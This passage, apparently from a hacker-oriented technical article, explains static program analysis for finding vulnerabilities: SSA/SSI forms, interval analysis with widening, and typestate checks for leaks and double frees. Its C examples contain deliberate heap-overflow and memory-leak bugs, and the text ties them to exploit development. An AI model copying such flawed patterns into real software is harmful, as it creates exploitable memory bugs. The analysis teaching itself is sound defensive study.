| Structured control | Yes (explicit) | Yes (recoverable)|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Data dependencies | Yes (implicit) | Yes (implicit) |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Data Types | Yes (explicit) | Yes (recoverable)|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Register transfers | No | Yes (explicit) |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Selected instructions | No | Yes (explicit) |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lets discuss those points more in details:

‑ The control sequentiality is obviously kept in the assembly, else the processor would not know how to execute the binary program. However the binary program does not contain a clearly structured tree of execution. Conditionals, but especially, Loops, do not appear as such in the executable code. We need a preliminary analysis for structuring the control flow graph. This was done already on source and binary code using different algorithms that we do not present in this article.

‑ Data dependencies are not explicit even in the source program, however we can compute it precisely both in the source code and the binary code. The dataflow analysis in the binary code however is slightly different, because it contains every single load and store between registers and the memory, not only at the level of variables, as done in the source program. Because of this, the assembly programs contains more instructions than source programs contain statements. This is an advantage and a disadvantage at the same time. It is an advantage because we can track the flow in a much more fine‑grained fashion at the machine level, and that is what is necessary especially for all kind of optimizations, or machine‑specific bugs that relies on a certain variable being either in the memory or in a register, etc. This is a disadvantage because we need more memory to analyse such bigger program listings.

‑ Data types are explicit in the source program. Probably the recovery of types is the hardest information to recover from a binary code. However this has been done already and the approach we present in this paper is definitely compatible with existing work on type‑based decompilation. Data types are much harder to recover when dealing with real objects (like classes in compiled C++ programs). We will not deal with the problem of recovering object classes in this article, as we focuss on memory related vulnerabilities.

‑ Register level anomalies can happen [DLB], which can be useful for a hacker to determine how to create a context of registers or memory when writing exploits. Binary‑level code analysis has this advantage that it provides a tighter approach to exploit generation on real world existing targets.

‑ Instruction level information is interested again to make sure we dont miss bugs from the compiler itself. Its very academically well respected to code a certified compiler which prove the semantic equivalence between source code and compiled code but for the hacker point of view, it does not mean so much. Concrete use in the wild means concrete code, means assembly. Additionally, it is rarer but it has been witnessed already some irregularities in the processor's execution of specific patterns of instructions, so an instruction level analyzer can deal with those, but a source level analyzer cannot. A last reason I would mention is that the source code of a project is very verbose. If a code analyzer is embedded into some important device, either the source code of the software inside the device will not be available, or the device will lack storage or communication bandwidth to keep an accessible copy of the source code. Binary code analyzer do not have this dependencie on source code and can thus be used in a wider scope.

To sum‑up, there is a lot of information recovery work before starting to perform the source‑like level analysis. However, the only information that is not available after recovery is not mandatory for analysing code : the name of types and variables is not affecting the execution of a program. We will abstract those away from our analysis and use our own naming scheme, as presented in the next chapter of this article.

‑‑‑‑‑‑‑‑‑‑‑‑‑[ II. Preparation

We have to go on the first wishes and try to understand better what vulnerabilities are, how we can detect them automatically, are we really capable to generate exploits from analyzing a program that we do not even execute ? The answer is yes and no and we need to make things clear about this. The answer is yes, because if you know exactly how to caracterize a bug, and if this bug is detectable by any algorithm, then we can code a program that will reason only about those known‑in‑advance vulnerability specificities and convert the raw assembly (or source) code into an intermediate form that will make clear where the specificities happens, so that the "signature" of the vulnerability can be found if it is present in the program. The answer is no, because giving an unknown vulnerability, we do not know in advance about its specificities that caracterize its signature. It means that we somewhat have to take an approximative signature and check the program, but the result might be an over‑approximation (a lot of false positives) or an under‑approximation (finds nothing or few but vulnerabilities exist without being detected).

As fuzzing and black‑box testing are dynamic analysis, the core of our analyzer is not as such, but it can find an interest to run the program for a different purpose than a fuzzer. Those try their chance on a randomly crafted input. Fuzzer does not have a *inner* knowledge of the program they analyze. This is a major issue because the dynamic analyzer that is a fuzzer cannot optimize or refine its inputs depending on what are unobservable events for him. A fuzzer can as well be coupled with a tracer [AD] or a debugger, so that fuzzing is guided by the debugger knowledge about internal memory states and variable values during the execution of the program.

Nevertheless, the real concept of a code analysis tool must be an integrated solution, to avoid losing even more performance when using an external debugger (like gdb which is awfully slow when using ptrace). Our technique of analysis is capable of taking decisions depending on internal states of a program even without executing them. However, our representation of a state is abstract : we do not compute the whole content of the real memory state at each step of execution, but consider only the meaningful information about the behavior of the program by automatically letting the analyzer to annotate the code with qualifiers such as : "The next instruction of the will perform a memory allocation" or "Register R or memory cell M will contain a pointer on a dynamically allocated memory region". We will explain in more details heap related properties checking in the type‑state analysis paragraph of Part III.

In this part of the paper, we will describe a family of intermediate forms which bridge the gap between code analysis on a structured code, and code analysis on an unstructured (assembly) code. Conversion to those intermediate forms can be done from binary code (like in an analyzing decompiler) or from source code (like in an analyzing compiler). In this article, we will transform binary code into a program written in an intermediate form, and then perform all the analysis on this intermediate form. All the studies properties will be related to dataflow analysis. No structured control flow is necessary to perform those, a simple control flow graph (or even list of basic blocks with xrefs) can be the starting point of such analysis.

Lets be more concrete a illustrate how we can analyze the internal states of a program without executing it. We start with a very basic piece of code:

Stub 1:

‑‑‑‑‑‑‑

oo : internal state

if (a) / \

b++;‑> o o/\ : control‑flow splitting

else \ /\/ : control‑flow merging

c‑‑; o

‑‑‑‑‑‑‑

In this simplistic example, we represent the program as a graph whoose nodes are states and edges are control flow dependencies. What is an internal state ? If we want to use all the information of each line of code, we need to make it an object remembering which variables are used and modified (including status flags of the processors). Then, each of those control state perform certains operations before jumping on another part of the code (represented by the internal state for the if() or else() code stubs). Once the if/else code is finished, both paths merge into a unique state, which is the state after having executed the conditional statement. Depending how abstract is the analysis, the internal program states will track more or less requested information at each computation step. For example, once must differentiate a control‑flow analysis (like in the previous example), and a dataflow analysis.

Imagine this piece of code:

Stub 2:

‑‑‑‑‑‑‑

CodeControl‑flow Data‑flow with predicates

a

‑‑‑o‑‑‑

/ c \ \

c = 21; o | o b o \

b = a; | | / \ / \

a = 42; o \/ ‑‑‑‑‑‑ /

if (b != c) / \ /\ |b != c| /

a++; o o / \ ‑‑‑‑‑‑ /

else \ / / \ /

a‑‑; o | a o a o

c += a; |

‑‑‑‑‑‑‑ o \ | /

\ | /

\ | /

c o

(...)

In a dataflow graph, the nodes are the variables, and the arrow are the dependences between variables. The control‑flow and data‑flow graphs are actually complementary informations. One only cares about the sequentiality in the graph, the other one care about the dependences between the variables without apparently enforcing any order of evaluation. Adding predicates to a dataflow graph helps at determining which nodes are involved in a condition and which instance of the successors data nodes (in our case, variable a in the if() or the else()) should be considered for our analysis.

As you can see, even a simple data‑flow graph with only few variables starts to get messy already. To clarify the reprensentation of the program we are working on, we need some kind of intermediate representation that keep the sequentiality of the control‑flow graph, but also provide the dependences of the data‑flow graph, so we can reason on both of them using a single structure. We can use some kind of "program dependence graph" that would sum it up both in a single graph. That is the graph we will consider for the next examples of the article.

Some intermediate forms introduces special nodes in the data‑flow graph, and give a well‑recognizable types to those nodes. This is the case of Phi() and Sigma() nodes in the Static Single Assignment [SSA] and Static Single Information [SSI] intermediate forms and that facilitates indeed the reasoning on the data‑flow graph. Additionally, decomposing a single variable into multiple "single assignments" (and multiple single use too, in the SSI form), that is naming uniquely each apparition of a given variable, help at desambiguizing which instance of the variable we are talking about at a given point of the program:

Stub 2 in SSA formStub 2 in SSI formData‑flow graph in SSI form

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

c1 = 21;c1 = 21; o a1

b1 = a1;b1 = a1; / \

if (b1 != c1)(a3, a4) = Sigma(a2); (a3, a4) = Sigma(a2) o o b1

a2 = a1 + 1;if (b1 != c1) /|

else a3 = a2 + 1; / |

o c1

a3 = a1 ‑ 1;else |

a4 = Phi(a2, a3) a4 = a2 ‑ 1; a3 o o a4 |

c2 = c1 + a4;a5 = Phi(a3, a4); \ | |

c2 = c1 + a5; \ | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

a5 = Phi(a3, a4) o |

o c2

Note that we have not put the predicates (condition test) in that graph. In practice, its more convenient to have additional links in the graph, for predicates (that ease the testing of the predicate when walking on the graph), but we have removed it just for clarifying what is SSA/SSI about.

Those "symbolic‑choice functions" Phi() and Sigma() might sound a little bit abstract. Indeed, they dont change the meaning of a program, but they capture the information that a given data node has multiple successors (Sigma) or ancestors (Phi). The curious reader is invited to look at the references for more details about how to perform the intermediate translation. We will here focuss on the use of such representation, especially when analyzing code with loops, like this one:

Stub 3 C codeStub 3 in Labelled SSI form

‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int a = 42; int a1 = 42;

int i = 0; int i1 = 0;

P1 = [i1 < a1]

(<i4:Loop>, <i9:End>) = Sigma(P1,i2); (<a4:Loop>, <a9:End>) = Sigma(P1,a2);

while (i < a)

{ => Loop:

a3 = Phi(<BLoop:a1>, <BEnd:a5>); i3 = Phi(<BLoop:i1>, <BEnd:i5>);

a‑‑; a5 = a4 ‑ 1;

i++; i5 = i4 + 1;

P2 = [i5 < a5]

(<a4:Loop>, <a9:End>) = Sigma(P2,a6); (<i4:Loop>, <i9:End>) = Sigma(P2,i6);

}

End:

a8 = Phi(<BLoop:a1>, <Bend:a5>); i8 = Phi(<BLoop:i1>, <Bend:i5>);

a += i; a10 = a9 + i9;

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By trying to synthetize this form a bit more (grouping the variables under a unique Phi() or Sigma() at merge or split points of the control flow graph), we obtain a smaller but identical program. This time, the Sigma and Phi functions do not take a single variable list in parameter, but a vector of list (one list per variable):

Stub 3 in Factored & Labelled SSI form

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int a1 = 42;

int i1 = 0;

P1 = [i1 < a1]

(<i4:Loop>, <i9:End>) (i2)

( ) = Sigma(P1,( ));

(<a4:Loop>, <a9:End>) (a2)

Loop:

(a3) (<BLoop:a1>, <BEnd:a5>)

( ) = Phi( );

(i3) (<BLoop:i1>, <BEnd:i5>)

a5 = a4 ‑ 1;

i5 = i4 + 1;

P2 = [i5 < a5]

(<a4:Loop>, <a9:End>) (a6)

( ) = Sigma(P2, ( ));

(<i4:Loop>, <i9:End>) (i6)

End:

(a8) (<BLoop:a1>, <Bend:a5>)

( ) = Phi( );

(i8) (<BLoop:i1>, <Bend:i5>)

a10 = a9 + i9;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

How can we add information to this intermediate form ? Now the Phi() and Sigma() functions allows us to reason about forward dataflow (in the normal execution order, using Sigma) and backward dataflow analysis (in the reverse order, using Phi). We can easily find the inductive variables (variables that depends on themselves, like the index or incrementing pointers in a loop), just using a simple analysis:

Lets consider the Sigma() before each Label, and try to iterate its arguments:

(<a4:Loop>, <a9:End>) (a6)

( ) = Sigma(P2, ( ));

(<i4:Loop>, <i9:End>) (i6)

‑>(<a5:Loop>,<a10:End>)

( )

(<i5:Loop>, _|_ )

‑> (<a6:Loop>, _|_ )

( )

(<i6:Loop>, _|_ )

We take _|_ ("bottom") as a notation to say that a variable

does not have any more successors after a certain iteration

of the Sigma() function.

After some iterations (in that example, 2), we notice that

the left‑hand side and the right‑hand side are identical

for variables a and i. Indeed, both side are written given

a6 and i6. In the mathematical jargon, that is what is called

a fixpoint (of a function F) :

F(X) = X

or in this precise example:

a6 = Sigma(a6)

By doing that simple iteration‑based analysis over our

symbolic functions, we are capable to deduce in an automated

way which variables are inductives in loops. In our example,

both a and i are inductive. This is very useful as you can imagine, since those variables become of special interest for us, especially when looking for buffer overflows that might happen on buffers in looping code.

We will now somewhat specialize this analysis in the following part of this article, by showing how this representation can

apply to

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ III. Analysis

The previous part of the article introduced various notions

in program analysis. We might not use all the formalism in the future of this article, and focuss on concrete examples. However, keep in mind that we reason from now for analysis on the intermediate form programs. This intermediate form is suitable for both source code and binary code, but we will keep on staying at binary level for our examples, proposing the translation to C only for understanding purposes. Until now, we have shown our to understand data‑flow analysis and finding inductive variables from the (source or binary) code of the program.

So what are the steps to find vulnerabilities now ?

A first intuition is that there is no generic definition for a vulnerability. But if we can describes them as behavior that violates a certain precise property, we are able to state if a program has a vulnerability or not. Generally, the property depends on the class of bugs you want to analyse. For instance, properties that express buffer overflow safety or property that express a heap corruption (say, a double free) are different ones. In the first case, we talk about the indexation of a certain memory zone which has to never go further the limit of the allocated memory. Additionally, for having an overflow, this must be a write access. In case we have a read access, we could refer this as an info‑leak bug, which

may be blindly or unblindly used by an attacker, depending if the result of the memory read can be inspected from outside the process or not. Sometimes a read‑only out of bound access can also be used to access a part of the code that is not supposed to be executed in such context (if the out‑of‑bound access is used in a predicate). In all cases, its interesting anyway to get the information by our analyzer of this unsupposed behavior, because this might lead to a wrong behavior, and thus, a bug.

In this part of the article, we will look at different class of bugs, and understand how we can caracterize them, by running very simple and repetitive, easy to implement, algorithm. This algorithm is simple only because we act on an intermediate form that already indicates the meaningful dataflow and controlflow facts of the program. Additionally, we will reason either forward or backward, depending on what is the most adapted to the vulnerability.

We will start by an example of numerical interval analysis and show how it can be useful to detect buffer overflows. We will then show how the dataflow graph without any value information can be useful for finding problems happening on the heap. We will enrich our presentation by describing a very classic problem in program analysis, which is the discovery of equivalence between pointers (do they point always on the same variable ? sometimes only ? never ?), also known as alias analysis. We will explain why this analysis is mandatory for any serious analyzer that acts on real‑world programs. Finally, we will give some more hints about analyzing concurrency properties inside multithread code, trying to caracterize what is a race condition.

‑‑‑‑‑‑‑‑‑‑‑‑[ A. Numerical intervals

When looking for buffer overflows or integer overflows, the mattering information is about the values that can be taken by memory indexes or integer variables, which is a numerical value.

Obviously, it would not be serious to compute every single possible value for all variables of the program, at each program path : this would take too much time to compute and/or too much memory for the values graph to get mapped entirely.

By using certain abstractions like intervals, we can represent the set of all possible values of a program a certain point of the program. We will illustrate this by an example right now. The example itself is meaningless, but the interesting point is to understand the mecanized way of deducing information using the dataflow information of the program graph.

We need to start by a very introductionary example, which consists of finding

Stub 4Interval analysis of stub 4

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int a, b;

b = 0;b = [0 to 0]

if (rand())

b‑‑;b = [‑1 to ‑1]

else

b++;b = [1 to 1]

After if/else:

b = [‑1 to 1]

a = 1000000 / b;a = [1000000 / ‑1 to 1000000 / 1] [Reported Error: b can be 0]

In this example, a flow‑insensitive analyzer will merge the interval of values at each program control flow merge. This is a seducing approach as you need to pass a single time on the whole program to compute all intervals. However, this approach is untractable most of the time. Why ? In this simple example, the flow‑insensitive analyzer will report a bug of potential division by 0, whereas it is untrue that b can reach the value 0 at the division program point. This is because 0 is in the interval [‑1 to 1] that this false positive is reported by the analyzer. How can we avoid this kind of over‑conservative analysis ?

We need to introduce some flow‑sensitiveness to the analysis, and differentiate the interval for different program path of the program. If we do a complete flow sensitive analysis of this example, we have:

Stub 4Interval analysis of stub 4

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int a, b;

b = 0;b = [0 to 0]

if (rand())

b‑‑;b = [‑1 to ‑1]

else

b++;b = [1 to 1]

After if/else:

b = [‑1 to ‑1 OR 1 to 1]

a = 1000000 / b;a = [1000000 / ‑1 to 1000000 / ‑1] or [1000000 / 1 to 1000000 / 1]

= {‑1000000 or 1000000}

Then the false positive disapears. We may take care of avoiding to be flow sensitive from the beginning. Indeed, if the flow‑insensitive analysis gives no bug, then no bugs will be reported by the flow‑sensitive analysis either (at least for this example). Additionally, computing the whole flow sensitive sets of intervals at some program point will grow exponentially in the number of data flow merging point (that is, Phi() function of the SSA form).

For this reason, the best approach seems to start with a completely flow insensitive, and refine the analysis on demand. If the program is transforted into SSI form, then it becomes pretty easy to know which source intervals we need to use to compute the destination variable interval of values. We will use the same kind of analysis for detecting buffer overflows, in that case the interval analysis will be used on the index variables that are used for accessing memory at a certain offset from a given base address.

Before doing this, we might want to do a remark on the choice of an interval abstraction itself. This abstraction does not work well when bit swapping is involved into the operations. Indeed, the intervals will generally have meaningless values when bits are moved inside the variable. If a cryptographic operation used bit shift that introduces 0 for replacing shifted bits, that would not be a a problem, but swapping bits inside a given word is a problem, since the output interval is then meaningless.

ex:

c = a | b(with A, B, and C integers)

c = a ^ b

c = not(c)

Giving the interval of A and B, what can we deduce for the intervals of C ? Its less trivial than a simple numerical change in the variable. Interval analysis is not very well adapted for analyzing this kind of code, mostly found in cryptographic routines.

We will now analyze an example that involves a buffer overflow on the heap. Before doing the interval analysis, we will do a first pass to inform us about the statement related to memory allocation and disallocation. Knowing where memory is allocated and disallocated is a pre‑requirement for any further bound checking analysis.

Stub 5Interval analysis with alloc annotations

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char *buf;buf = _|_ (uninitialized)

int n = rand();n = [‑Inf, +Inf]

buf = malloc(n)buf = initialized of size [‑Inf to Inf]

i = 0;i = [0,0], [0,1] ... [0,N]

while (i <= n)

{

assert(i < N)

buf[i] = 0x00;

i++;i = [0,1], [0,2] ... [0,N]

(iter1 iter2 ... iterN)

}

return (i);

Lets first explain that the assert() is a logical representation in the intermediate form, and is not an assert() like in C program. Again, we never do any dynamic analysis but only static analysis without any execution. In the static analysis of the intermediate form program, a some point the control flow will reach a node containing the assert statement. In the intermediate (abstract) word, reaching an assert() means performing a check on the abstract value of the predicate inside the assert (i < N). In other words, the analyzer will check if the assert can be false using interval analysis of variables, and will print a bug report if it can. We can also let the assert() implicits, but representing them explicitely make the analysis more generic, modular, and adaptable to the user.

As you can see, there is a one‑byte‑overflow in this example. It is pretty trivial to spot it manually, however we want to develop an automatic routine for doing it. If we deploy the analysis that we have done in the previous example, the assert() that was automatically inserted by the analyzer after each memory access of the program will fail after N iterations. This is because arrays in the C language start with index 0 and finish with an index inferior of 1 to their allocated size. Whatever kind of code will be inserted between those lines (except, of course, bit swapping as previously mentioned), we will always be able to propagate the intervals and find that memory access are done beyond the allocated limit, then finding a clear memory leak or memory overwrite vulnerability in the program.

However, this specific example brings 2 more questions:

‑ We do not know the actual value of N. Is it a problem ? If we manage to see that the constraint over the index of buf is actually the same variable (or have the same value than) the size of the allocated buffer, then it is not a problem. We will develop this in the alias analysis part of this article when this appears to be a difficulty.

‑ Whatever the value of N, and provided we managed to identify N all definitions and use of the variable N, the analyzer will require N iteration over the loop to detect the vulnerability. This is not acceptable, especially if N is very big, which in that case many minuts will be necessary for analysing this loop, when we actually want an answer in the next seconds.

The answer for this optimization problem is a technique called Widening, gathered from the theory of abstract interpretation. Instead of executing the loop N times until the loop condition is false, we will directly in 1 iteration go to the last possible value in a certain interval, and this as soon as we detect a monotonic increase of the interval. The previous example would then compute like in:

Stub 5Interval analysis with Widening

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char *buf;buf = _|_ (uninitialized)

int n = rand();n = [‑Inf, +Inf]

buf = malloc(n)buf = initialized of size [‑Inf to Inf]

i = 0;i = [0,0]

while (i <= n)

{

assert(i < N); iter1 iter2 iter3 iter4 ASSERT!

buf[i] = 0x00;i = [0,0], [0,1] [0,2] [0,N]

i++;i = [0,1], [0,2] [0,3] [0,N]

}

return (i);

Using this test, we can directly go to the biggest possible interval in only a few iterations, thus reducing drastically the requested time for finding the vulnerability. However this optimization might introduce additional difficulties when conditional statement is inside the loop:

Stub 6Interval analysis with Widening

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char *buf;buf = _|_ (uninitialized)

int n = rand() + 2;n = [‑Inf, +Inf]

buf = malloc(n)buf = initialized of size [‑Inf to Inf]

i = 0;i = [0,0]

while (i <= n)i = [0,0] [0,1] [0,2] [0,N] [0,N+1]

{

if (i < n ‑ 2) i = <same than previously for all iterations> {

assert(i < N ‑ 1)[Never triggered !]

buf[i] = 0x00; i = [0,0] [0,1] [0,2] [0,N] <False positive> }

i++;i = [0,1] [0,2] [0,3] [0,N] [0,N+1]

}

return (i);

In this example, we cannot assume that the interval of i will be the same everywhere in the loop (as we might be tempted to do as a first hint for handling intervals in a loop). Indeed, in the middle of the loop stands a condition (with predicate being i < n ‑ 2) which forbids the interval to grow in some part of the code. This is problematic especially if we decide to use widening until the loop breaking condition. We will miss this more subtle repartition of values in the variables of the loop. The solution for this is to use widening with thresholds. Instead of applying widening in a single time over the entire loop, we will define a sequel of values which corresponds to "strategic points" of the code, so that we can decide to increase precisely using a small‑step values iteration.

The strategic points can be the list of values on which a condition is applied. In our case we would apply widening until n = N ‑ 2 and not until n = N. This way, we will not trigger a false positive anymore because of an overapproximation of the intervals over the entire loop. When each step is realized, that allows to annotate which program location is the subject of the widening in the future (in our case: the loop code before and after the "if" statement).

Note that, when we reach a threshold during widening, we might need to apply a small‑step iteration more than once before widening again until the next threshold. For instance, when predicates such as (a != immed_value) are met, they will forbid the inner code of the condition to have their interval propagated. However, they will forbid this just one iteration (provided a is an inductive variable, so its state will change at next iteration) or multiple iterations (if a is not an inductive variable and will be modified only at another moment in the loop iterative abstract execution). In the first case, we need only 2 small‑step abstract iterations to find out that the interval continues to grow after a certain iteration. In the second case, we will need multiple iteration until some condition inside the loop is reached. We then simply needs to make sure that the threshold list includes the variable value used at this predicate (which heads the code where the variable a will change). This way, we can apply only 2 small‑step iterations between those "bounded widening" steps, and avoid generating false positives using a very optimized but precise abstract evaluation sequence.

In our example, we took only an easy example: the threshold list is only made of 2 elements (n and (n ‑ 2)). But what if a condition is realized using 2 variables and not a variable and an immediate value ? in that case we have 3 cases:

CASE1 ‑ The 2 variables are inductive variables: in that case, the threshold list of the two variables must be fused, so widening do not step over a condition that would make it lose precision. This seem to be a reasonable condition when one variable is the subject of a constraint that involve a constant and the second variable is the subject of a constraint that involve the first variable:

Stub 7:Threshold discovery

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int a = MIN_LOWERBOUND;

int b = MAX_UPPERBOUND;

int i = 0;

int n = MAXSIZE;

while (i < n)Found threshold n

{

if (a < i < b)Found predicate involving a and b

(...)

if (a > sizeof(something))Found threshold for a

i = b;

else if (b + 1 < sizeof(buffer))Found threshold for b

i = a;

}

In that case, we can define the threshold of this loop being a list of 2 values, one being sizeof(something), the other one being sizeof(buffer) or sizeof(buffer) ‑ 1 in case the analyzer is a bit more clever (and if the assembly code makes it clear that the condition applyes on sizeof(buffer) ‑ 1).

CASE2 ‑ One of the variable is inductive and the other one is not.

So we have 2 subcases:

‑ The inductive variable is involved in a predicate that leads to modification of the non‑inductive variable. It is not possible without the 2 variables being inductives !Thus we fall into the case 1 again.

‑ The non‑inductive variable is involved in a predicate that leads to modification of the inductive variable. In that case, the non‑inductive variable would be invariant over the loop, which mean that a test between its domain of values (its interval) and the domain of the inductive variable is required as a condition to enter the code stubs headed by the analyzed predicate. Again, we have 2 sub‑subcases:

* Either the predicate is a test == or !=. In that case, we must compute the intesection of both variables intervals. If the intersection is void, the test will never true, so its dead code. If the intersection is itself an interval (which will be the case most of the time), it means that the test will be true over this inductive variable intervals of value, and false over the remaining domain of values. In that case, we need to put the bounds of the non‑inductive variable interval into the threshold list for the widening of inductive variables that depends on this non‑inductive variable.

* Or the predicate is a comparison : a < b (where a or b is an inductive variable). Same remarks holds : we compute the intersection interval between a and b. If it is void, the test will always be true or false and we know this before entering the loop. If the interval is not void, we need to put the bounds of the intersection interval in the widening threshold of the inductive variable.

CASE3 ‑ None of the variables are inductive variables

In that case, the predicate that they define has a single value over the entire loop, and can be computed before the loop takes place. We then can turn the conditional code into an unconditional one and apply widening like if the condition was not existing. Or if the condition is always false, we would simply remove this code from the loop as the content of the conditional statement will never be reached.

As you can see, we need to be very careful in how we perform the widening. If the widening is done without thresholds, the abstract numerical values will be overapproximative, and our analysis will generate a lot of false positives. By introducing thresholds, we sacrify very few performance and gain a lot of precision over the looping code analysis. Widening is a convergence accelerator for detecting problems like buffer overflow. Some overflow problem can happen after millions of loop iteration and widening brings a nice solution for getting immediate answers even on those constructs.

I have not detailed how to find the size of buffers in this paragraph. Wether the buffers are stack or heap allocated, they need to have a fixed size at some point and the stack pointer must be substracted somewhere (or malloc needs to be called, etc) which gives us the information of allocation alltogether with its size, from which we can apply our analysis.

We will now switch to the last big part of this article, by explaining how to check for another class of vulnerability.

‑‑‑‑‑‑‑‑‑‑‑‑[ B. Type state checking (aka double free, memory leaks, etc)

There are some other types of vulnerabilities that are slightly different to check. In the previous part we explained how to reason about intervals of values to find buffer overflows in program. We presented an optimization technique called Widening and we have studied how to weaken it for gaining precision, by generating a threshold list from a set of predicates. Note that we havent explicitely used what is called the "predicate abstraction", which may lead to improving the efficiency of the analysis again. The interested reader will for sure find resources about predicate abstraction on any good research oriented search engine. Again, this article is not intended to give all solutions of the problem of the world, but introduce the novice hacker to the concrete problematic of program analysis.

In this part of the article, we will study how to detect memory leaks and heap corruptions. The basic technique to find them is not linked with interval analysis, but interval analysis can be used to make type state checking more accurate (reducing the number of false positives).

Lets take an example of memory leak to be concrete:

Stub 8:

‑‑‑‑‑‑‑

1. u_int off = 0;

2. u_int ret = MAXBUF;

3. char *buf = malloc(ret);

4. do {

5. off += read(sock, buf + off, ret ‑ off);

6. if (off == 0)

7. return (‑ERR);

8. else if (ret == off)

9. buf = realloc(buf, ret * 2);

10.} while (ret);

11. printf("Received %s \n", buf);

12. free(buf);

13. return;

In that case, there is no overflow but if some condition appears after the read, an error is returned without freeing the buffer. This is not a vulnerability as it, but it can help a lot for managing the memory layout of the heap while trying to exploit a heap overflow vulnerability. Thus, we are also interested in detecting memory leak that turns some particular exploits into powerful weapons.

Using the graphical representation of control flow and data flow, we can easily find out that the code is wrong:

Graph analysis of Stub 8

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

o AA: Allocation

|

|

o<‑‑‑‑

| \

o \

/ \ \

/ \ \R: Return

R o o REA /REA: Realloc

\ / /

\ / /

o /

| /

| /

| /

| /

|/

o

|F: Free

F o

|

R oR: Return

Note that this representation is not a data flow graph but a control‑flow graph annotated with data allocation information for the BUF variable. This allows us to reason about existing control paths and sequence of memory related events. Another way of doing this would have been to reason about data dependences together with the predicates, as done in the first part of this article with the Labelled SSI form. We are not dogmatic towards one or another intermediate form, and the reader is invited to ponder by himself which representation fits better to his understanding. I invite you to think twice about the SSI form which is really a condensed view of lots of different information. For pedagogical purpose, we switch here to a more intuitive intermediate form that express a similar class of problems.

Stub 8:

‑‑‑‑‑‑‑

0. #define PACKET_HEADER_SIZE 20

1. int off = 0;

2. u_int ret = 10;

3. char *buf = malloc(ret);M

4. do {

5. off += read(sock, buf + off, ret ‑ off);

6. if (off <= 0)

7. return (‑ERR);R

8. else if (ret == off)

9. buf = realloc(buf, (ret = ret * 2));REA

10.} while (off != PACKET_HEADER_SIZE);

11. printf("Received %s \n", buf);

12. free(buf);F

13. return;R

Using simple DFS (Depth‑First Search) over the graph representing Stub 8, we are capable of extracting sequences like:

1,2,(3 M),4,5,6,8,10,11,(12 F),(12 R)M...F...R‑noleak‑

1,2,(3 M),4,(5,6,8,10)*,11,(12 F),(12 R)M(...)*F...R‑noleak‑

1,2,(3 M),4,5,6,8,10,5,6,(7 R)M...R‑leak‑

1,2,(3 M),(4,5,6,8,10)*,5,6,(7 R)M(...)*R‑leak‑

1,2,(3 M),4,5,6,8,(9 REA),10,5,6,(7 R)M...REA...R‑leak‑

1,2,(3 M),4,5,6,(7 R)M...R‑leak‑

etc

More generally, we can represent the set of all possible traces for this example :

1,2,3,(5,6,(7 | 8(9 | Nop)) 10)*,(11,12,13)*

with | meaning choice and * meaning potential looping over the events placed between (). As the program might loop more than once or twice, a lot of different traces are potentially vulnerable to the memory leak (not only the few we have given), but all can be expressed using this global generic regular expression over events of the loop, with respect to this regular expression:

.*(M)[^F]*(R)

that represent traces containing a malloc followed by a return without an intermediate free, which corresponds in our program to:

.*(3)[^12]*(7)

=.*(3).*(7) # because 12 is not between 3 and 7 in any cycle

In other words, if we can extract a trace that leads to a return after passing by an allocation not followed by a free (with an undetermined number of states between those 2 steps), we found a memory leak bug.

We can then compute the intersection of the global regular expression trace and the vulnerable traces regular expression to extract all potential vulnerable path from a language of traces. In practice, we will not generate all vulnerable traces but simply emit a few of them, until we find one that we can indeed trigger.

Clearly, the first two trace have a void intersection (they dont contain 7). So those traces are not vulnerable. However, the next traces expressions match the pattern, thus are potential vulnerable paths for this vulnerability.

We could use the exact same system for detecting double free, except that our trace pattern would be :

.*(F)[^A]*(F)

that is : a free followed by a second free on the same dataflow, not passing through an allocation between those. A simple trace‑based analyzer can detect many cases of vulnerabilities using a single engine ! That superclass of vulnerability is made of so called type‑state vulnerabilities, following the idea that if the type of a variable does not change during the program, its state does, thus the standard type checking approach is not sufficient to detect this kind of vulnerabilities.

